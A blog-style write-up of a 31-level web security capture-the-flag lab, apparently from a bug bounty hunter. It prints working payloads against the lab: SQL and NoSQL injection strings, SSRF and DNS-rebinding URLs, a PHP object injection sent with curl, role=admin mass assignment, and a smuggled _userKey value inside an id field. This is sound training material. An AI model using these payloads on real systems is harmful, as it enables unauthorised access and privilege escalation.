July 28, 2026
Terraria CTF Challenge Write-up
Read how I solved a 31-level web security CTF challenge covering vulnerabilities like SQL Injection, SSRF, XXE, HTTP methods, OTP, cookies…

By DehatiSec
13 min read
Read how I solved a 31-level web security CTF challenge covering vulnerabilities like SQL Injection, SSRF, XXE, HTTP methods, OTP, cookies, and more.
Hello everyone!
I am Mohammad Elyas Dehati from Afghanistan. I am a bug bounty hunter, security researcher, and full-stack developer with a strong interest in web security. I am continuously learning and improving my skills in vulnerability research, penetration testing, and bug bounty hunting.
Recently, I completed the Terraria web security CTF challenge, which included 31 levels with different real-world web vulnerabilities. In this write-up, I will share my journey, the techniques I used, and how I solved each level until reaching the final flag.
Level 01:
The first level was based on URL manipulation and an IDOR vulnerability. The challenge started with the /level-01 path. By changing it to /level-02, I was able to access the next level successfully.
Level 02:
In this level, the next path was hidden inside the HTML source code. By inspecting the page source, I found a commented line that revealed the location of the next level. And boom! We moved to Level 3.
The path to level 3: /1v4cUq9jcQ
Level 03:
In this level, I noticed that most of the image paths followed the same pattern. I checked the image directory and found the path /static/image which contained all the images used in this level.
While exploring the files, I discovered a file named /next.txt After opening the file, I found the path to the next level and successfully moved forward.
The path to level 4: /EG0BUmDRTa
Level 04:
In this level, I connected Burp Suite with the browser and inspected the HTTP request and response. While analyzing the response headers, I found a cookie namednext-levelcontaining a Base64 encoded value. After decoding the value from Base64, I discovered the path to the next level and successfully continued the challenge.
The path to level 5: /dG340U4a55
Level 05:
In this level, I continued analyzing the HTTP requests using Burp Suite. While inspecting the headers, I found a header named Next-Level that contained the path to the next level.
After using the provided path, I successfully moved to the next level.
The path to level 6: /2vhb8P9Z46
Level 06:
In this level, I analyzed the HTTP requests using Burp Suite and noticed an interesting cookie value: Cookie: next-level=false
I sent the request to Burp Suite Repeater and changed the value from falsetotrueAfter sending the request, the response contained a Locationheader with the path to the next level.
This allowed me to continue to the next stage.
The path to level 7: /8zlkI5f0le
Level 07:
In this level, I inspected the HTTP responses and found a JavaScript code snippet.
After analyzing the code, I noticed that the path to the next level was stored inside a variable. By reading the JavaScript code and extracting the value, I found the next level path and continued the challenge.
The path to level 8: /hsrfAW4vcI
Level 08:
In this level, a MD5 hash value was provided. Since MD5 is a one-way hashing algorithm, I needed to crack it using a wordlist. I saved the hash into a file named hash.txt and used John the Ripper with the rockyou.txt wordlist:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtjohn --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtThe path to level 9: /iydot06Uaq
Level 09:
In this level, I found an encrypted message that needed to be decrypted. The challenge provided the encrypted data along with a key and IV. After analyzing the information, I identified that the encryption algorithm was AES-256-CBC. First, I decoded the Base64 encoded ciphertext and saved it as a binary file. Then, I used OpenSSL with the provided key and IV to decrypt the file:
openssl enc -d -aes-256-cbc \
-K 32f416550c92ea80f4584bd5cb80b545ba3f62639130f1daba9b8f67b9abb53e \
-iv 768adda216d06bbdb1d217ab6e934127 \
-in cipher.binopenssl enc -d -aes-256-cbc \
-K 32f416550c92ea80f4584bd5cb80b545ba3f62639130f1daba9b8f67b9abb53e \
-iv 768adda216d06bbdb1d217ab6e934127 \
-in cipher.binThe path to level 10: /Ggjc1WJNJc
Level 10:
In this level, I checked the page source and noticed a link to an additional CSS file.
After opening the CSS file, I found the path to the next level hidden inside the code. This allowed me to continue to the next stage successfully.
The path to level 11: /lrUXbanK3Y
Level 11:
In this level, I downloaded a ZIP file that contained another ZIP file named /next.zipEach extracted archive contained another /next.zip,creating a chain of 1000 compressed layers. Extracting them one by one would take too much time, so I wrote a simple Bash script to automate the process:
mkdir work
cd work
cp ~/Downloads/flag.zip .
current="flag.zip"
count=0
while [ -f "$current" ]; do
count=$((count+1))
echo "Layer $count"
mv "$current" current.zip
unzip -o current.zip
rm current.zip
current="next.zip"
done
echo "Done after $count layers."
find .mkdir work
cd work
cp ~/Downloads/flag.zip .
current="flag.zip"
count=0
while [ -f "$current" ]; do
count=$((count+1))
echo "Layer $count"
mv "$current" current.zip
unzip -o current.zip
rm current.zip
current="next.zip"
done
echo "Done after $count layers."
find .The path to level 12: /4gJmGjRHoa
Level 12:
In this level, I intercepted the request using Burp Suite. The original request used the GET HTTP method. I sent it to Repeater and changed the request method from GET to PATCH.
After sending the modified request, I successfully redirected to the next level.
Level 13:
In this level, I inspected the page source and found a hidden HTML comment mentioning a file namedlevel.db,I added level.db to the URL path, and the database file was downloaded successfully.
The downloaded file contained the information needed to continue to the next level.
The path to level 14: /SLM6BR8pF7
Level 14:
In this level, I found the following cookie while inspecting the HTTP request: Cookie: next-level=false.68934a3e9455fa72420237eb05902327
I sent the request to Burp Suite Repeater and changed the cookie value fromfalsetotrueHowever, the server still rejected the request. I then generated the MD5 hash of true and replaced the old hash with the new one.
After sending the modified request, I successfully reached the next level.
The path to level 15: /SLM6BR8pF7
Level 15:
In this level, I discovered that the challenge was related to Git repository history. I used git-dumper to retrieve the hidden Git repository and then analyzed the commit history to find useful information. By checking previous commits and their messages, I found the required information to continue to the next level.
The path to level 16: /1xo4wdjuzR
Level 16:
In this level, I discovered that the application was vulnerable to SQL Injection. By testing the input field, I found that the query could be manipulated. Using the following payload, I was able to bypass the check and access the next level:
' OR 1=1--' OR 1=1--After sending the payload successfully, I moved to the next level.
Level 17:
In this level, I analyzed the HTTP response after completing the previous stage. The server returned a 302 Redirect response, and the Location header contained the path to the next level.
By following the redirect path, I successfully moved to the next level.
The path to level 18: /G1Pn3nPcD0
Level 18:
In this level, I found that the application was not using a traditional SQL database, so SQL Injection was not applicable. After analyzing the behavior, I realized that the challenge was using a NoSQL database. By sending a crafted POST request in Burp Suite and using a NoSQL injection payload, I was able to bypass the secret check:
secret[$regex]=.{1}secret[$regex]=.{1}The server accepted the payload and revealed the path to the next level.
The path to level 19: /0JssQyHDN0
Level 19:
In the level 19 URL, we have a query parameter of ?note=MQ The hacker mentality asks what MQ is. If we investigate, we figure out it is just a base 64 encoded version of number 1, just with removed == at the end. What if we change 1 to 2? There we go! We see a different page, with a note.
You can automate checking it either in Burp intruder or an automated script, but honestly, I randomly checked 100, and boom, I got the flag! /0JssQyHDN0/?note=MTAw
The path to level 20: /O5pUC34bT7
Level 20:
In this level, we get redirected with a query parameter of referral=FRIEND2024 in the URL. Just changing the referral to an array would make it to the next level: ?referral[]=FRIEND2024
Errors are not always failures; sometimes they are clues waiting to be discovered. 🔎
The path to level 21: /dV9nxePVut
Level 21:
This level is vulnerable to SSRF (Server-Side Request Forgery) as we can enter a URL that the server fetches for us. In this case, if it doesn't properly validate the destination, an attacker can try to make the server fetch resources that were not expected or shouldn't be able to access. Thus, we can enter any URL, even internal URLs, and the server doesn't check. I tried different ports until I found one that worked. Enter an internal URL with this port to fetch (in Burp request body) url=http://localhost:8000 It will respond with:
<img src='data:text/plain;base64,QnJhdm8hIE5leHQgbGV2ZWw6IC9GMmpxU25rbmRU' alt='Fetched preview'><img src='data:text/plain;base64,QnJhdm8hIE5leHQgbGV2ZWw6IC9GMmpxU25rbmRU' alt='Fetched preview'>Decode the base 64 value to receive the next level path.
Bravo! Next level: /F2jqSnkndTBravo! Next level: /F2jqSnkndTLevel 22:
This level is vulnerable to XXE. Although if we initially check the headers, we see:
Content-Type: application/x-www-form-urlencodedContent-Type: application/x-www-form-urlencodedAnd if we change the Content-Type to Application/xml and add the following payload, we can see path to next level:
The path to level 23: /pX05n76YQs
Level 23:
In this level, we are required to create an account using a username. After registration, the application assigns us the default user role.
After analyzing the registration request, I sent it to Burp Suite Repeater for further testing. I noticed that the role parameter was set touserso I modified its value toadminand resent the request.
The server accepted the modified request and returned the path to the next level inside the Location header.
The path to level 24: /z52i4523aA
Level 24:
By inspecting the page source, I found a hidden comment that revealed a /?show-source query parameter.
After adding this parameter to the URL, the application displayed its PHP source code. While analyzing the code, I discovered that it was vulnerable to PHP Object Injection.
We can use curl to POST its exploit:
printf 'O:7:"LevelUp":2:{s:17:"\0LevelUp\0showNext";b:1;s:16:"\0LevelUp\0message";s:0:"";}' | \ curl -X POST https://terraria.pwnbox-lab.com/z52i4523aA/ --data-binary @-printf 'O:7:"LevelUp":2:{s:17:"\0LevelUp\0showNext";b:1;s:16:"\0LevelUp\0message";s:0:"";}' | \ curl -X POST https://terraria.pwnbox-lab.com/z52i4523aA/ --data-binary @-The path to level 25: /Y5Zo9oG33j
Level 25:
In this level, we again send a URL, so why not testing it for SSRF vulnerability. This time, however, sending a local host URL doesn't work, nor does it work with other ports.
url=http://localhost:8000
...
<p>
Tricky! But not this time.
</p>url=http://localhost:8000
...
<p>
Tricky! But not this time.
</p>It can be because of some security measures agains SSRF, such as rejecting private, loopback, and link-local ranges and accepting only requests originating from IPs that belong to an allow-list. After investigation, I found out that the requests were restricted to the 8.8.8.0/24 allow-list.
Since the application only validates host names once, we can use DNS rebinding technique to change DNS records that map the same domain to an allow-list IP. To do this, we need a tool or a DNS rebinding generator like the following:
https://lock.cmpxchg8b.com/rebinder.htmlhttps://lock.cmpxchg8b.com/rebinder.htmlSo we use that as our URL and add different ports at the end until it works. (The correct port that works is 3000). We save this webhook:
http://7f000001.08080801.rbndr.us:3000http://7f000001.08080801.rbndr.us:3000It takes a lot of trial and error until we get the flag.
The path to level 26: /6t1ZLIMnFg
Level 26:
When attempting to access the /6t1ZLIMnFg/give_me path directly by modifying the URL, the application denied the request.
I intercepted the request using Burp Suite and modified it by adding a custom header:
X-Rewrite-URL: /6t1ZLIMnFg/give_meX-Rewrite-URL: /6t1ZLIMnFg/give_meBoom! We successfully passed the level.
The path to level 27: /2q05kjiSra
Level 27:
The application uses a GraphQL API with field suggestions enabled. By sending queries to the API, I was able to retrieve the values of the requested fields.
I attempted to query the next level, even with an incorrect request. After all, error messages are often valuable sources of information during security testing.
There we go!
The path to level 27: /CbynzH3JXj
Level 28:
This level requires a 6-digit One-Time Password (OTP). When submitting random digits, the application returned an invalid code error. Since I did not have the correct OTP, I tested the request handling instead.
I intercepted the request using Burp Suite, changed the /Content-Type to JSON, and modified the OTP value to /True.
The path to level 29: /vXCKMIMBYG
Level 29:
In this level, I noticed that the URLs contained IDs that looked like UUID values. Each ID was a 32-character hexadecimal value divided into five groups. Since the hint mentioned that "Even nothing has an identity," I tested whether a null UUID value could bypass the check. I intercepted the request using Burp Suite and changed the /id parameter to:
GET /vXCKMIMBYG/?id=00000000–0000–0000–0000–000000000000 HTTP/2GET /vXCKMIMBYG/?id=00000000–0000–0000–0000–000000000000 HTTP/2The path to level 30: /93O08P1YqD
Level 30:
In this level, the normal login process did not provide any special privileges.
I tested whether modifying the request parameters could change the assigned role. After some experimentation, I found that adding the role=admin parameter allowed me to bypass the default user role.
The working payload was:
username=demo&password=demo&role=adminusername=demo&password=demo&role=adminThe path to level 31: /N5Ud7mGgfq
Level 30 and the Last Level:
Let's try signing in and see how the application responds.
After logging in, the account was assigned the default user role. To access the flag, I suspected that a higher-privileged account might be required.
By inspecting the requests in Burp Suite, I noticed that the login information was first sent to /api/login and then the account details were retrieved from/api/info.
POST /N5Ud7mGgfq/api/login HTTP/2
...
username=demo&password=demoPOST /N5Ud7mGgfq/api/login HTTP/2
...
username=demo&password=demoAfter sending the login request, I noticed that the application immediately triggered another GET request to fetch further details.
Then it posts another request to /api/info
POST /N5Ud7mGgfq/api/info HTTP/2
…
{
"op":"getUser",
"id":"demo"
}POST /N5Ud7mGgfq/api/info HTTP/2
…
{
"op":"getUser",
"id":"demo"
}The response contains the information that is displayed on the graphical user interface (GUI):
{
"id": 2,
"username": "demo",
"role": "user",
"note": "just a demo account, nothing to see",
"service": "users-svc@a243123d44f8:9101"
}{
"id": 2,
"username": "demo",
"role": "user",
"note": "just a demo account, nothing to see",
"service": "users-svc@a243123d44f8:9101"
}The vulnerability occurs because the application accepts duplicate JSON keys, which allows us to manipulate the request behavior.
I tested sending multiple values for the op parameter to see whether I could access information from other users.
After trying different values, the error messages revealed that the id parameter should be a number. Using this information, I crafted the following request that worked:
POST /N5Ud7mGgfq/api/info HTTP/2
...
{
"op":"getUser",
"op":"getUsers",
"id": 1
}POST /N5Ud7mGgfq/api/info HTTP/2
...
{
"op":"getUser",
"op":"getUsers",
"id": 1
}And there we go, we can see an admin account.
HTTP/2 200 OK
...
{
"id": 1,
"username": "teradmin",
"role": "admin",
"service": "users-svc@a243123d44f8:9101"
}HTTP/2 200 OK
...
{
"id": 1,
"username": "teradmin",
"role": "admin",
"service": "users-svc@a243123d44f8:9101"
}To obtain the admin account, we can use the following approach:
POST /N5Ud7mGgfq/api/info HTTP/2
...
{
"op":"getUser",
"id":"teradmin"
}POST /N5Ud7mGgfq/api/info HTTP/2
...
{
"op":"getUser",
"id":"teradmin"
}The response returns an error:
HTTP/2 403 Forbidden
...
{
"error": "user key does not match",
"service": "users-svc@a243123d44f8:9101"
}HTTP/2 403 Forbidden
...
{
"error": "user key does not match",
"service": "users-svc@a243123d44f8:9101"
}This means the application server knows that we are not an admin, so we need to find some kind of credential or key.
To discover it, I intentionally modified the payload to trigger an error response. By adding # at the end of "id":"teradmin#", the application returned a detailed error message revealing a _userKey value that is required by the backend for further processing:
HTTP/2 400 Bad Request
...
{
"error": "_userKey cannot be blank",
"service": "users-svc@a243123d44f8:9101"
}HTTP/2 400 Bad Request
...
{
"error": "_userKey cannot be blank",
"service": "users-svc@a243123d44f8:9101"
}Let's try adding a sample _userKey value to the request:
{
"op":"getUser",
"id":"teradmin&_userKey=demo"
}{
"op":"getUser",
"id":"teradmin&_userKey=demo"
}We receive the following error that reveals the real value of _userKey:
HTTP/2 500 Internal Server Error
...
{
"error": "TypeError: _userKey expected str, got array ['demo', '72cf381c17dc0efb8e4ac14e977e750312a4e06cc1a571fd5755d642f42cf477']; assert _userKey == 10eac5bac79f4280a19ecd08d1146520147d947a5609008808ab28c1dbc664a3",
"service": "users-svc@a243123d44f8:9101"
}HTTP/2 500 Internal Server Error
...
{
"error": "TypeError: _userKey expected str, got array ['demo', '72cf381c17dc0efb8e4ac14e977e750312a4e06cc1a571fd5755d642f42cf477']; assert _userKey == 10eac5bac79f4280a19ecd08d1146520147d947a5609008808ab28c1dbc664a3",
"service": "users-svc@a243123d44f8:9101"
}Thus, injecting the following payload, adding the value of _userKey instead of demo and a # at the end to turn it into a string, not an array, allowed us to bypass the intended user-key validation and retrieve the privileged teradmin account:
POST /N5Ud7mGgfq/api/info HTTP/2
…
{
"op":"getUser",
"id":"teradmin&_userKey=10eac5bac79f4280a19ecd08d1146520147d947a5609008808ab28c1dbc664a3#"
}POST /N5Ud7mGgfq/api/info HTTP/2
…
{
"op":"getUser",
"id":"teradmin&_userKey=10eac5bac79f4280a19ecd08d1146520147d947a5609008808ab28c1dbc664a3#"
}
And Finally, The Final Flag! 🚩
The Final Flag: flag_eb3112342733d5a4e886c9b8093ff476
This was a great CTF challenge.
Thanks for reading my write-up. I hope it was helpful and that you enjoyed following my journey through the levels.
Keep learning, keep hacking, and never stop exploring! 🚀